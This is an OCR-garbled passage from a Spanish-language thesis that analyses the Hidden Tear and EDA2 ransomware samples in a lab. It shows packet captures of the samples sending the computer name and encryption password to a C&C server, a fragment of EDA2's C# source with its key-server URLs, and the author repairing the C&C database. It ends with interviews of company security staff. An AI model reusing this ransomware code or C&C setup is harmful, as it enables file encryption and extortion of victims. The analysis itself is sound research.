' 38 8.725910 2088.42.4.210 192.168.8.19 DNS 122 Standard query response 8xd7a2 A www.previsioncordobaarg.16mb.com CNAME previsioncordobaarg.16mb.com A 31.178.1..
H 31 8.740953 LiteonTe_29:fa:ab Broadcast ARP 42 Who has 192.168.0.12 Tell 192.168.0.19
E 32 8.746113 CiscoSpv_c2:@5:6d LiteonTe_29:fa:ab ARP 42 192.168.0.1 is at e4:48:c7:c2:05:6d
33 8.921418 31.17@.164.286 192.168.8.19 Tcp 66 88 + 58818 [SYN, ACK] Seq=8 Ack=1 Win=1468@ Len=@8 M55=1468 SACK_PERM=1 WS=32
34 3.921533 192.168.8.19 31.178.164.206 Tcp 54 58818 + 88 [ACK] Seq=1 Ack=1 Win=17488 Len=0
35 8.921795 192.168.2.19 31.17@.164.206 HTTP 183 GET /write.php?info=PCFACU-Facundo¥20Ag&j6/zW=dI2>vU& HTTP/1.1
36 9.186218 31.17@.164.206 192.168.0.19 TCP 6@ 80 + 50010 [ACK] Seg=1 Ack=13@ Win=1568@ Len=@
37 9.298@23 31.17@.164.286 192.168.8.19 HTTP 252 HTTP/1.1 288 OK
38 9.353728 192.168.0.19 31.170.164.206 TCP 54 50010 + 30 [ACK] Seg=13@ Ack=199 Win=17152 Li
39 192.168.0.19 31.170.164.206 54 50010 - 80 [RST, ACK] Seq=13@ Ack=199 Win=0
48 18.172582 192.168.8.19 288.49.130.48 DNS 87 Standard query 8x223a PTR 206.164.170.3
41 10.271539 192.168.8.19 288.42.4.218 DNS 87 Standard query @x223a PTR 286.164.178.31.in-addr.arpa
42 10.406255 SamsungE_5d:b4:8e Broadcast ARP 42 who has 192.168.9.1? Tell 192.168.0.32 v
Flags: @x@18 (PSH, ACK) "
window size value: 68
[Calculated window size: 1748]
[Window size scaling factor: 256]

Figura 30. Captura de Wireshark cuando Hidden Tear se comunicaba con el servidor.

Esta peticion solicita el recurso que se encuentra en el archivo write.php y a su vez envia
informacidn sobre el nombre del equipo, el usuario y la contrasefia utilizada para encriptar los
archivos, como se ve en el detalle de la figura 31. Luego, el servidor confirma la informacion

recibida dando por concluida la comunicacion.

M Wireshark . Packet 35 . wireshark 4AB32A02-7522-482A-SDEO-E54967166972_20171017221854 200472 - [m] X

Source: 192.168.8.19 -~
Destination: 31.170.164.286
[Source GeoIP: Unknown]
[Destination GeoIP: Unknown] 1
Transmission Control Protocol, Src Port: 58010, Dst Port: 89, Seq: 1, Ack: 1, Len: 129
~ Hypertext Transfer Protocol
GET fwrite.php?info=PCFACU-Facundo%26AgRj6/zH=dI2VU& HTTP/1.1\r\n
Host: ww.previsioncordobaarg.16mb.com\rin
Connection: Keep-Alive\r\n
\r\n
[Full request URL: http 'www.previsi dobaarg.16mb. com/write. php?info=PCFACU-F: j6/zW=dI2vUR]
[HTTP request 1/1]
[Respense in frame: 37]

€443 c7 c2 05 6d 20 16 d8 29 fa ab @8 00 45 €0 ). E
90 a9 60 f9 4B 8 80 96 14 22 @ a8 80 13 1f aa ...
a4 ce c3 5a 08 50 9F 8 a3 4a ae 55 ca 11 50 18 ERTN
@@ 44 c7 c2 @0 @0 47 45 54 20 2f 77 72 69 74 65 E T /write

2e 7@ 68 78 3 69 6e 66 6 3d 58 43 46 41 43 55 .php2inf o=PCFACU
2d 46 61 63 75 Ge 64 6f 25 32 30 41 67 26 6a 36  -Facundo %20Ag&j6
2f 7a 57 3d 64 49 3f 76 55 26 20 48 54 54 5@ 2f /zw=dI?v U& HTTP/
31 2e 31 @d Ba 48 6f 73 74 3a 28 77 77 77 2e 70 1.1..Hos t: www.p
72 65 76 69 73 69 6 Ge 63 6f 72 64 6f 62 61 61  revision cordobaa
72 67 22 31 36 6d 62 2¢ 63 6f 6d od @a 43 6 6e rg.16mb. com..Con
Be 65 63 74 69 6f 6e 3a 208 4b 65 65 78 2d 41 6¢c nection Keep-AL

oobe 69 76 65 ed ea ive. [
No.r 15« Ties 8.921795 » Sources 192.168.0.19 - Destination: 31.170.164.208 - Protoeok HTT - Lengeh: 183  Inor GET /i Acu e TR

Figura 31. Captura del detalle del protocolo HTTP enviando la informacién
de la computadora.
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En cuanto a la comunicacidon con la red interna se puede apreciar en la figura 32 como se

utiliza el protocolo SMB para enviarse peticiones entre la maquina infectada y las computadoras

con carpetas compartidas, en las que el proceso del ransomware pide informacion de los archivos

que estan almacenadas en ellas.

M wiresharj (1).pcapng

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools  Help

dm i@ R Rew= = QaaH

IL] ‘Appl‘-; a display filter ... <Ctrl-/=

No. Time Source Destination Protocol  Length Info
7@ 67.858576 172.16.1.3 172.16.1.2 SMB2 242 Create Response File: [unknown]
71 67.865655 172.16.1.2 172.16.1.3 SMB2 146 Close Request File: [unknown]
72 B67.867358 172.16.1.3 172.16.1.2 SMB2 182 Close Response
73 67.113789 172.16.1.2 172.16.1.1 TCP 54 49473 » 445 [ACK] Seq=321 Ack=385 Win=254 Len=8
74 67.126750 172.16.1.2 172.16.1.3 TeP 54 49512 » 445 [ACK] 5eq=498 Ack=633 Win=2439 Len=0
73 77.9859@8 172.16.1.2 172.16.1.1 SMB 134 Trans2 Request, QUERY_PATH_INFO, Query File Basic Info, Path:
76 77.987866 172.16.1.2 172.16.1.3 SMB2 21@ Create Request File:
77 77.987553 172.16.1.1 172.16.1.2 SMB 158 Trans2 Response, QUERY_PATH_INFO
78 77.987956 172.16.1.2 172.16.1.1 SMB 134 Trans2 Request, QUERY_PATH_INFO, Query File Standard Info, Path:
79 77.9089369 172.16.1.3 172.16.1.2 SMB2 242 Create Response File: [unknown]
8@ 77.989310 172.16.1.1 172.16.1.2 SMB 142 Trans2 Response, QUERY_PATH_INFO
81 77.911381 172.16.1.2 172.16.1.3 SMB2 146 Close Request File: [unknown]
82 77.913448 172.16.1.3 172.16.1.2 SMB2 182 Close Response
83 77.963118 172.16.1.2 172.16.1.1 TCP 54 49473 » 445 [ACK] Seq=481 Ack=577 Win=254 Len=0
B84 77.963423 172.16.1.2 172.16.1.3 TCP 54 49512 » 445 [ACK] Seq=746 Ack=949 Win=2437 Len=@

Byte Count (BCC): 11
Padding: eoease
~ QUERY_PATH_INFOQ Parameters

Level of Interest: Query File Standard Info
Reserved: @2@@0008
File Name:

(1085)

88
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ee
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ee
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ee
ee
18
ee
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ce IoLLPL
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Figura 32. Peticiones por medio del protocolo SMB entre las computadoras de la red interna.

Al obtener acceso a los archivos, los modifica y cambia su extension, como se observa en la

figura 33.

L i R e A

No. Time
121 82.
122 82.
123 82.
124 82.
125 82.
126 82.
127 82.
128 82.
129 83.
130 83.
131 83.
132 83.
133 83.
134 83.
135 83.

948818
958666
951865
953048
953865
954387
955282
957255
820675
824789
826583
827430
829478
830138
831984

Source

172.
172.
172.
172.
172.
172.
172.
172.
172.
172.
172.
172.
172.
172.
172.

L I Y

Destination

172,
172.
172,
172,
172,
172.
172,
172,
172.
172,
172,
172,
172,
172,
172.

1
1
1
1
1
1
1
.1
1
1
1
1
1
1
1

L T T e

Protocol
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
TP
SHB
SMB
SMB
SMB
SMB
SMB

Length Info

174 Trans2 Request, QUERY PATH INFO, Query File Basic Info, Path: \membrete.doc.locked

158 Trans2 Response, QUERY_PATH_INFO

174 Trans2 Request, QUERY_PATH_INFO, Query File Standard Info, Path: \membrete.doc.locked

142 Trans2 Response, QUERY_PATH_INFO

174 Trans2 Request, QUERY_PATH_INFO, Query File Standard Info, Path: \membrete.doc.locked

142 Trans2 Response, QUERY_PATH_INFO

174 Trans2 Request, QUERY_PATH_INFO, Query File Basic Info, Path: \membrete.doc.locked

153 Trans2 Response, QUERY_PATH_INFO

54 49473 5 445 [ACK] Seq=2486 Ack=778@ Win=251 Len=0

198 Trans2 Request, QUERY_PATH_INFO, Query File Basic Info, Path: \listado personal.doc.locked
158 Trans2 Response, QUERY_PATH_INFO

198 Trans2 Request, QUERY_PATH_INFO, Query File Standard Info, Path: \Listado personal.doc.locked
142 Trans2 Response, QUERY_PATH_INFO

196 Trans2 Request, QUERY PATH_INFO, Query File Standard Info, Path: \Listado personal.doc.locked
142 Trans2 Response, QUERY_PATH_INFO

Figura 33. Modificacidn de la extension del archivo en las computadoras con unidades mapeadas.
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Para finalizar este analisis, se tuvo en cuenta que estos tipos de ransomware buscan archivos

con extensiones especificas como .jpg que son imagenes, .doc documentos de Word, etc. Por lo

que se modificaron algunas extensiones, como por ejemplo a .jpg como .JPG, y a .doc como

.word, como se muestra en la figura 34.

FOTTAEpeT T T T
> prueba Buscar en
o *  Nombre Fecha Tipo Tamafio Etiquetas
25 Application Files 2410 Carpeta de archivos
Ftos "1 10.1.1.121.3120.acrobat Adocbe Acrobat D... 220 KB
o =L 2016-cybersecurity-repart.acrobat Adobe Acrobat D... 1461 KB
- [ aHorasPasantes.excel Archivo EXCEL 19 KB
B aHorasPasantes.xlsx Hoja de calculo d... 12KB
i apedido.doc Documente de Mi... 12KB
|2] apedido.word Archivo WORD 12KB
200D (C:) N I
"L C5_APT_C2InTheFifthDomain.acrobat Adobe Acrobat D... 802 KB
de DVD RW (D) | | CalendarioVacas2016.excel 12KB
USE (G:) "L CCN-CERT_IA-01-16 Medidas_Seguridad_Ransomware.acrobat .528
s = CifraAsimetricaRSA.acrobat
5B (G:) ™) Computer Viruses, Artificial Life and Evolution.acrobat cri
|8] ConstestacionMemo.word Archive WORD
ontrol "1 cyber-security-report-2017.acrobat Adobe Acrobat D...
[E] doc.bat Archiva por lotes .
d icl
e reccae = Documenta_completo.pdf-PDFA.acrobat Adobe Acrobat D..
ashboardDesign = Documenta_completo.pdf-PDFA.pdf Adobe Acrobat D..
& DSC01534 (2).pg Imagen JPEG
the Cuteness & DSC01534JPG Imagen JPEG
ter & D5CO1538.GPI Archiva GPJ
ar-master 1 DSCO1540.PG Imagen JPEG
"L eset-ransomware-ok-150903105008-Ival-app6891.acrobat Adcbe Acrobat D...
ntariosConnect
"1 guiz-empleado-seguro-eset.acrobat Adobe Acrobat D...
v "1 Hidden_Tear_Analisis_del_primer_Ransomwa.acrobat Adobe Acrobat D...
1 elementn seleccinnadn D2 KR

Figura 34. Carpeta de prueba con extensiones de archivo modificados

Al ejecutar el malware, se obtuvieron los siguientes resultados (figura 35), los archivos con
extension .doc, .xIsx y .jpg fueron encriptados y modificada su extension con .locked. En

cambio, los modificados .word, .acrobat, .excel, .JPG no fueron encriptados y se pudieron

utilizar, al elegir la aplicacién correspondiente para su uso.
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Nombre Fecha Tipo Tamafio Etiquetas

Application Files
=1 10.1.1.121.3120.acrobat

0/2017 19:28 Carpeta de archivos

Adobe Acrobat D... 220 KB

1
017

"L 2016- cybersecurity-report.acrobat 017 2

|| aHorasPasantes.excel 017 12:02 vo EXCEL 19KE
| | aHorasPasantes.xlsx.locked 2017 21:04 o LOCKED 18KE
|| apedide.doc.locked 2017 21:03 /o LOCKED 12KB
|&] apedide.word 2014 14:07 o WORD 12KB
=L C5_APT_C2InTheFifthDomain.acrobat 017 14:34 c 02 KB
|| CalendarioVacas2016.excel 015 13:26 12KB
= CCN-CERT_IA-01-16 Medidas_Sequridad_Ransomware.acrobat 6 1528 KB
=1 CifraAsimetricaRSA.acrobat 56 KB

") Computer Viruses, Artificial Life and Evolution.acrobat

&) ConstestacionMemo.ward
"L cyber-security-report-2017.acrobat

[%] doc.bat

"L Documento_completo.pdf-PDFA.acrobat

= Documento_completo.pf-PDFA.pdf

[ DSCD1534 (2)jpg.locked

15 DSCO1534.JPG

18 DSCO1538.GP)

15 DSCO1540JPG

"1 eset-ransomware-ck-150903105008-Iva1-app6891.acrobat
-

Imagen JPEG
Archivo GPJ
Imagen JPEG
Adobe Acrobat D...
crobat D...
robat D...

guia-empleado-seguro-eset.acrabat Adoh

™1 Hidden_Tear_Analisis_del_primer_Ransomwa.acrobat Adobe Ac

Figura 35. Carpeta de prueba luego de ejecutar Hidden Tear

9.3 Andlisis de EDA2

El segundo ransomware creado por Utku Sen tiene la misma base que el Hidden Tear, pero el

EDAZ2 tiene nuevas funcionalidades.

La primera diferencia con Hidden Tear es la carpeta WebPanel, que al entrar se pueden
observar los archivos PHP y la libreria para con esto tener un servidor C&C que gestione todas

las infecciones.

Analisis estatico

Cuando pasamos al proyecto de EDA2, muchas funciones son las mismas que se utilizaron en
Hidden Tear por lo cual, en este analisis, se explicaran solamente las funciones que se

modificaron y las nuevas que se agregaron al EDA2.

Al utilizar el Servidor C&C se modificaron algunas variables, como se ve en la figura 36 a

generatorUrl y a keySaveUrl que apuntan a los archivos que contiene el servidor. Ademas de
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utilizar una clave con el algoritmo AES, como hace el Hidden Tear le agrega una llave RSA de
2048 bits de longitud para proteger la clave privada y la publica, para luego enviar la clave

publica a la maquina infectada, y guardar la clave privada en el servidor.

~lnamespace eda2
{
= public partial class Forml : Form
{

[D11TImport(“user32.dll"”, CharSet = CharSet.Auto)]
private static extern SystemParametersInfo( action, uParam, vParam, winIni};
private static bool OAEP = false; //Optimal Asymmetric Encryption Padding
const int keySize = 2048; //key size for RSA algorithm
string publicKey;
string encryptedPassword; //AES key encrypted with RSA public key
string userName = Environment._Userhame;
string computeriame = _Environment.MachineName.ToString();
string userDir = "C:\\Users\\";
string generatorUrl = "http://www.example.com/panel/createkeys.php”; //creates public key
string keySaveUrl = "http://www.example.com/panel/savekey.php™; //saves encrypted key to database
string backgroundImageUrl = "https://i.imgur.com/5iVZ4gf.qipg"; //desktop background picture
string aesPassword;

Figura 36. Primera parte del codigo EDAZ2.

Tiene una funcion getPublicKey() por medio de la cual la méaquina infectada con EDA2 se
comunica con el servidor a través de un POST (mensaje HTTP) enviandole como parametros el
nombre del usuario y nombre de la computadora; el servidor Web al recibir la informacion le
contesta con la clave pablica RSA y guarda la clave Privada RSA. El ransomware crea una clave
AES igual a como hace Hidden Tear e infecta los archivos en las carpetas definidas, después, esa
clave AES la encripta por medio de la clave pablica y se la envia al servidor Web para protegerla
de cualquier intercepcion, ya que necesitarian la clave privada para poder desencriptar los
archivos. Este método se llama Criptografia Hibrida, utiliza de manera combinada Criptografia
Simetrica (Clave AES) para cifrar los archivos y Criptografia Asimétrica (Clave Publica RSA 'y

Clave Privada RSA) para proteger la clave que cifro los archivos.

Por ultimo, se agrega una imagen que se coloca como protector de pantalla en la maquina

infectada apenas termina de encriptar los archivos.
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Andlisis dindmico

En la ejecucién del EDA2 se observo que los procesos de modificacion eran similares a

Hidden Tear (figura 37) en el que solo cambia el nombre del proceso.

=1 Process Monitor - Sysinternals: www.sysinternals.com - E—“—n
File Edit Event Filter Teols Options Help

SH ABE| vAS B &5 xE]0M

Time ... Process Name PID  Operation Path Result Detail

14:30:... 8 edaZexe 2332 BhCreatefile C:\Windows\Microsoft. NET assembhy\GAC_32'mscorlib'w4.0_4.0.0.0__b77a5c561934e085 ber... NAME NOT FOUND Desired Access: Read Attribut

14:30... 7' edaZexe 2332 ﬁRegOpenKay HELM"System"CumentControl Set\Control*.Lsa"Fips AlgorthmPolicy REFARSE Desired Access: Query Value

14:30... T 'edaZexe 2332 ﬁFlegOpanKay HKLM"System"Cumrent Control Set\Contraol*.Lsa"Fips AlgorthmPolicy SUCCESS Desired Access: Query Value

14:30: .. T edaZexe 2332 ﬁRegSeﬂn{nKay HKLM"System"Cumrent Control Set\Control' sa*Fips AlgorthmPolicy SUCCESS KeySetInformationClass: KeyS

14:30;... T edaZexe 2332 ﬁRegOueryValue HKLM"System"CumentConitrol Set"\Control Lsa"Fips AlgorthmPolicy*Enabled SUCCESS Type: REG_DWORD, Length

14:30;... T edaZexe 2332 @¥ReqCpenKey  HKLM\System\CumentCortrolSet\Cortrol'Lsa REPARSE Desired Access: Query Value

14:30... 7' edaZexe 2332 ﬁRegOpenKay HELM"System"Cument Control SetControl*.Lsa SUCCESS Desired Access: Query Value

14:30:... T edaZexe 2332 ﬁﬂegSeﬂn{oKey HKLM"System"Cumrert Control Set\Contral'Lsa SUCCESS KeySetInformationClass: KeyS

14:30: .. T edaZexe 2332 ﬁRegOuaryValue HKLM"System"Cumrent Control Set\Control' sa*Fips AlgorthmPolicy NAME NOT FOUND Length: 20

14:30;... T edaZexe 2332 ﬁRegCloseKay HKLM"System*Cument Control SetControlLsa"Fips AlgorithmPolicy SUCCESS

14:30;... T edaZexe 2332 ﬁRegCloseKay HKLM"System"CumentConitrol Set*\Control Lsa SUCCESS

14:30... T edaZexe 2332 aGeateFlle ChUsers\Facu \Desktop'test'nota aut- subd.doc SUCCESS Desired Access: Generic Wit

14:30... T ' edaZexe 2332 B‘NriteFile Ch Desktop'test'nota aut- subd.doc SUCCESS Offset: 0, Length: 65.552, Prio

14:30:... 5 edaZexe 2332 acloseFi\e C Desktop'test'nota aut- subd.doc SUCCESS

14:30... 7' edaZexe 2332 aGeateFile C Desktop'test'nota aut- subd.doc SUCCESS Desired Access: Read Attribut

14:30;... T edaZexe 2332 3QueryNetwork... C Desktop'test'nota aut- subd.doc SUCCESS Creation Time: 08/10/2017 14

14:30:... T edaZexe 2332 BhCloseFie C Desktop'test'nota aut- subd.doc SUCCESS

'edaZ.exe 2332 Bﬁeateﬂle Ch Desktop'test'nota aut- subd.doc SUCCESS Desired Access: Read Attribut

2332 aOueryﬁﬂributeT...C Desktop'test'nota aut- subd.doc SUCCESS Mtributes: A, ReparseTag: [x(
2332 30ueryBasiclnfor...C Desktop'test'nota aut- subd.doc SUCCESS CreationTime: 08/10/2017 14
2332 [hCreateFile C

Desktop'test SUCCESS Desired Access: Write Data/A

Desktop'test SUCCESS
\Desktop\test'nota aut- subd.doc locked SUCCESS
Desktop'test'nota de pase doc SUCCESS Desired Access: Generic Reat
\\Facu'\Desktop'test\nota de pase doc SUCCESS AllocationSize: 65.536, EndOf
\\Facu'\Desktop'test\nota de pase doc SUCCESS Offset: 0, Length: 65.024, Prio
\Facu“Desktop'test'nota de pase .doc SUCCESS
\Facu'Desktop'test'nota de pase.doc SUCCESS Desired Access: Generic Write
\Facu'Desktop'test'nota de pase doc SUCCESS Offset: 0, Length: 65.040, Prio
\\Facu'\Desktop'test\nota de pase doc SUCCESS
\\Facu'\Desktop'test\nota de pase doc SUCCESS Desired Access: Read Attribut
\Facu“Desktop'test'nota de pase .doc SUCCESS Creation Time: 08/10/2017 14
\Facu'Desktop'‘test‘nota de pase.doc SUCCESS
\Facu'Desktop'test'nota de pase doc SUCCESS Desired Access: Read Attribut

Figura 37. Procesos del ransomware EDA2.

2332 BhCloseFie
2332 A Createfile

2332 BhQueryStandard ..
2332 BAReadFie

2332 BhCloseFie

2332 BhCreatefile

2332 B WriteFile

2332 BhCloseFile

2332 BhCreatefile

2332 BhQueryNetwork ...
2332 BhCloseFie

2332 A CreateFile

OO0O0OO0O0oO0D0DoOo000

Por tanto, para probar la comunicacion de EDA2 con el servidor, se debid crear una tabla en
una Base de Datos que tenia estos campos: id, nombre de equipo(pcname), usuario(username),
clave privada(privatekey) y clave AES encriptada(aesencrypted). En la primera prueba de
ejecucidn se observo gue en las tablas se mostraban todos los datos excepto la clave AES, esto se
debid a que el codigo de la clase savekey.php actualiza la tabla buscando el numero de id, y el
campo id en este caso era null(vacio) por lo que no encontraba el campo donde actualizar. Ante
esta situacion, se modifico agregando el atributo auto-incremental, y al agregar una nueva fila en

este campo id, se incrementa en uno. Resuelto esto, otro error encontrado es que, al repetirse el
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nombre del equipo, la base de datos busca la primera coincidencia en forma ascendente en la que
modifica el campo aesencrypted dando un nuevo valor, y dejando inutilizable la desencriptacion

para todos los campos con nombre de equipo repetido (figura 38).

€< C (¢ @ sqlS.hostinger.com.ar/phpmyadmin/index,php?db=u562

b
i Aplicaciones % ProgramacionSgoliv: @ Red Link - BANCO Dt [I] Series, peliculas, dep: P} Campus Virtual [ Download Facebook (@ Epic- Mis cursos [ Web del Negocio Es » Otros marcadore:

Cillocalhost » @ u562890582_panel » i dummy
php

[= Examinar | 3% Estructura [ SQL \ Buscar | 3¢ Insertar [ Exportar |5} Importar  #° Operaciones | Seguimiento

S 8l 8 00 €
(Tablas recientes) .. Mostrar : Fila de inicio: |0 Numero de filas: | 30 Cabeceras cada | 100 filas
] dummy Ordenar segtn la clave: | Ninguna
| @ Crear tabla | | + Opciones
o ¥ id pcname username privatekey aesencrypted
47 Editar % Copiar @ Borrar 1/ EQUIPO Facu <RSAKeyValue> A3bDIeJ7ringZsmjloBYkQk4ASPoQwull+4HS5lobxxqEidoeT .
<Modulus>709bQobrZVeFXjrENKJQ+Q2...
& Editar 3z Copiar @ Borrar 2 EQUIPO Facu <RSAKeyValue>
<Modulus>6i2Z0/Zvjv04UoHkBBIKRnS.
&7 Editar %z Copiar @ Borrar 3 EQUIPO Facu <RSAKeyValue>
<Modulus>ulHZziKah7LTBRVDrvRNTnsv.
4/ Editar % Copiar (@ Borrar 4 EQUIPO Facu <RSAKeyValue>
<Modulus>5UhLCjU1ZyISpPZTOSFpgMay.
& Editar 3¢ Copiar @ Borrar 5 EQUIPOLOCO Facu <RSAKeyValue> cbaqEnUNIfA+dQe5xHQLMNFKcsemfl/cTqBirl9abS2smkpyh
<Modulus>wDBTIErXWQp/NmktCpz70evi...
» Editar %¢ Copiar @ Borrar 6 EQUIPOLOCO Facu <RSAKeyValue>
<Modulus=>vVJoMYbEZH3tKoyPV2fVIzEX
47 Editar g Copiar @ Borrar 7/ EQUIPOLOCO Facu <RSAKeyValue>

<Modulus>vkBQaYV|DtotiXFexyjCida.

& Editar 3¢ Copiar @ Borrar 8 EQUIPOLOCO621316464 Facu <RSAKeyValue>
<Modulus>6RI3uidrFUHWg3RKNuMCrZkg...

1 Marcar todos | Desmarcar todos Para los elementos que estan marcados: g” Cambiar @ Borrar & Exportar

Figura 38. Tabla dummy con los datos obtenidos.

Ante la situacion planteada se podrian dar dos soluciones, una es ordenar el id en forma
descendente para que busque el Ultimo campo de nombre de equipo. Otra opcion es buscar el
nombre de equipo con el campo aesdecrypted vacio (null), para asi asegurarse de no modificar

una fila erréneamente.

En cuanto a la comunicacion de la maquina infectada con el servidor C&C se puede ver
detalladamente como se comunica por medio del protocolo TCP, para luego enviar una peticion
POST con la informacion del usuario y nombre del equipo a lo que solicita la clave publica

(Figura 39), que posteriormente el servidor le envia.
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MNo. Time Source Destination Protocol  Length Info

2 8.0.. CiscoSpv_c2:85:6d LiteonTe_29:fa:ab ARP 6@ 192.168.8.1 is at e4:48:c7:c2:05:6d
3 4.4.. PcsCompu_57:14:8c Broadcast ARP 42 Wwho has 192.168.8.17 Tell 192.168.8.91
4 4.4.. CiscoSpv_c2:85:6d PcsCompu_57:14:8c ARP 6@ 192.168.8.1 is at e4:48:c7:c2:05:6d
— 5 4.4. 192.168.8.91 31.178.164.286 TCP 66 50185 + 8@ [SYN] Seq=08 Win=8192 Len=8 M55=1460 W5=256 SACK_PERM=1
6 4.7.. 31.1708.164.286 192.168.8.91 TCP 66 8@ + 58185 [SYN, ACK] Seq=8 Ack=1 Win=1468@ Len=8 MS5=146@ SACK_PERM=1 WS=32
7 4.7.. 192.168.8.91 31.170.164.2086 TCP 54 58185 =+ 8@ [ACK] Seq=1 Ack=1 Win=65536 Len=@
8 4.7.. 192.168.8.91 31.170.164.2086 TCP 251 58185 + 8@ [PSH, ACK] Seq=1 Ack=1 Win=65536 Len=197 [TCP segment of a reassem
9 4.9.. 31.170.164.286 192.168.8.91 TCP 6@ 8@ - 508185 [ACK] Seq=1 Ack=198 Win=1568@ Len=@
T 4.9.. 31.170.164.2086 192.168.8.91 HTTP 79 HTTP/1.1 188 Continue
H+ .. 4.9.. 192.168.0.91 31.178.164.2686 HTTP 81 POST /webpanel/createkeys.php HTTP/1.1 (application/x-www-form-urlencoded)
w 5.3.. 31.178.164.286 192.168.8.91 TCP 6@ 8@ + 58185 [ACK] Seq=26 Ack=225 Win=15688 Len=@8
f— . 6.4, 31.170.164.286 192.168.8.91 HTTP 699 HTTP/1.1 28@ OK (text/html)
- B.4.. 192.168.8.91 31.170.164.2086 TCP 54 50185 =+ 8@ [ACK] Seq=225 Ack=671 Win=65824 Len=@
- 7.3.. 192.168.8.91 31.170.164.2086 TCP 225 58185 + 8@ [PSH, ACK] Seq=225 Ack=671 Win=65824 Len=171 [TCP segment of a rea|
. 7.6.. 31.178.164.2086 192.168.8.91 TCP 6@ 8@ + 58185 [ACK] Seq=671 Ack=396 Win=16768 Len=@

Transmission Control Protocol, Src Port: 58185, Dst Port: 88, Seq: 198, Ack: 26, Len: 27
[2 Reassembled TCP Segments (224 bytes): #3(197), #11(27)]
Hypertext Transfer Protocol
v HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "username” = "Facu”
Form item: "pcname” = “"EQUIPO"

Figura 39. Comunicacién de EDA2 con el servidor solicitando clave publica.

Al recibir la clave publica, EDA2 encripta la contrasefia y envia otro POST al servidor con la

contrasefia y el nombre del equipo, como se ve en la figura 40.

Mo. Source Destination Protocol  Length Info
. 192.168.08.91 31.170.164.206 HTTP 81 POST /webpanel/createkeys.php HTTP/1.1 (application/x-www-form-urlencoded)
. 31.178.164.2086 192.168.8.91 TCP 68 8@ + 58185 [ACK] Seq=26 Ack=225 Win=1568@ Len=@8
. 31.178.164.2086 192.168.8.91 HTTP 699 HTTP/1.1 288 OK (text/html)
. 192.168.8.91 31.178.164.2086 TCP 54 58185 » 80 [ACK] Seq=225 Ack=671 Win=65824 Len=8
. 192.168.8.91 31.178.164.2086 TCP 225 58185 + 8@ [PSH, ACK] Seq=225 Ack=671 Win=65824 Len=171 [TCP segment of a reg
31.176.164.2086 192.168.8.91 TCP 68 8@ + 58185 [ACK] Seq=671 Ack=396 Win=16768 Len=@
. 31.178.164.2086 192.168.8.91 HTTP 79 HTTP/1.1 18@ Continue
- . 192.168.08.91 31.170.164.266 HTTP 449 POST /webpanel/savekey.php HTTP/1.1 (application/x-www-form-urlencoded)
31.176.164.2086 192.168.8.91 TCP 68 8@ + 58185 [ACK] Seq=696 Ack=791 Win=17324 Len=@
- . 31.178.164.2086 192.168.8.91 HTTP 216 HTTP/1.1 288 OK (text/html)
. 192.168.0.91 200.49.130.48 DNS 71 Standard query @x42c8 A i.imgur.com
- . 192.168.8.91 31.178.164.2086 TCP 54 58185 =+ 8@ [ACK] Seq=791 Ack=858 Win=64768 Len=@
w B.l. 192.168.9.91 209.42.4.21@ DNS 71 Standard query @x42cd A i.imgur.com
w 8.1. 200.49.130.48 192.168.0.91 DNS 128 Standard query response @x42c8 A i.imgur.com CNAME prod.imgur.map.fastlylb.nd
- 8.1. 192_168.8.91 151.161.56.193 TCP 66 58186 =+ 443 [SYN] Seq=@ Win=8192 Len=8 M55=146@ WS=256 SACK_PERM=1
[2 Reassembled TCP Segments (566 bytes): #15(171), #18(395)]
Hypertext Transfer Protocol
v HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: “pcname” = “EQUIPO"
Form item: "aesencrypted” = "A3bD9el7rIngZsmjloBYkQk4ASIPoQwuU+4HSSIobxxqEidoe7L2PX5vazrAkiBBATAVYp3FrHnZbLEeigs gAESoV+HEV7IhERVIrEL2
£

Figura 40. Comunicacion de EDAZ2 con el servidor guardando la clave AES encriptada.

Luego, solicita la imagen que cambiara el fondo de la pantalla advirtiendo que fueron

encriptados los archivos.
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En cuanto al Panel Web para ver la informacion de las computadoras infectadas y las claves,
se debe ingresar con usuario y contrasefia, y luego se puede ver (figura 4)1 la tabla con los datos
de las computadoras infectadas y al final el botdén Decipher. Al tocar dicho boton ejecuta el
desencriptador que utiliza la clave privada (privatekey) y la llave AES para conseguir la

contrasefia que se utilizo para encriptar los archivos de la maquina infectada.

Pc Name Username Private Key Encrypted AES Key Decipher

Decipher

Figura 41. Panel con la info de la computadora infectada.

10.Analisis de las entrevistas a personal de seguridad de empresas

En el disefio metodoldgico del presente trabajo se anticipaba que, como fuentes secundarias
de indagacion, se implementarian entrevistas a informantes claves (anexo 1), definidos a partir
de su tarea como personal de seguridad informética de empresas y organizaciones de la Ciudad

de Cérdoba.

Las entrevistas se organizaron alrededor de ejes tematicos que se configuraron a partir de la
exploracion bibliogréafica ya desarrollada. Se indago acerca de las medidas de seguridad con las
que contaba la organizacion, en particular resultaba significativo recuperar si poseian sistemas de

deteccidn de prevencion, politicas de seguridad y sitios de contingencias.
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Por otra parte, se intent0 rastrear si en las organizaciones de pertenencia de los entrevistados

se reconocian ataques de ransomware y qué medidas y herramientas de solucion implementaron.

De manera indirecta, se tuvo la intencionalidad de advertir el nivel de informacién que

poseian sobre ransomware y las formas de prevencién y recuperacion del sistema.

Cabe destacar que resulté complejo acceder a la concrecion de las entrevistas y la actitud de
reserva fue la predominante en los sujetos entrevistados. Lo anterior se acentud particularmente

en las organizaciones que brindan un servicio de salud.

Los entrevistados pertenecen a Organizaciones y/o empresas tanto privadas como publicas,
radicadas en la ciudad de Cordoba: Globant, La Lacteo, Tarjeta Naranja, Sanatorio Allende y

Municipalidad de Cordoba.

Los informantes entrevistados expresaron tener un buen sistema de Back Up que es muy
importante para proteger los datos, pero también se advierte que no hay un plan general de
seguridad informatica, sino mas bien cada empresa tiene su propia forma de protegerse de los
ataques. Luego de repasar las entrevistas se decidié preguntar si tenian capacitacion en seguridad
informatica y si utilizaban alguna metodologia o norma, aunque solo respondieron algunos de los

entrevistados.

Respecto a lo anterior, resulta muy interesante lo que indica Martin Bono, empleado en
seguridad de la Empresa La Lacteo, sobre las politicas de seguridad de la empresa, que
restringen los permisos de administrador y también inhabilitan el uso de pen drive para
asegurarse que no entre ningun virus por ese medio. Otra medida efectiva es el cuidado respecto
a como ingresan los usuarios en el que esta sectorizado el sistema de archivos, por lo que si se

infecta una maquina solo infecta el area a la que pertenece el usuario. Lo que si resulta
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preocupante es que la Empresa La Lacteo tenga el correo tercerizado, ya que, como explica F-
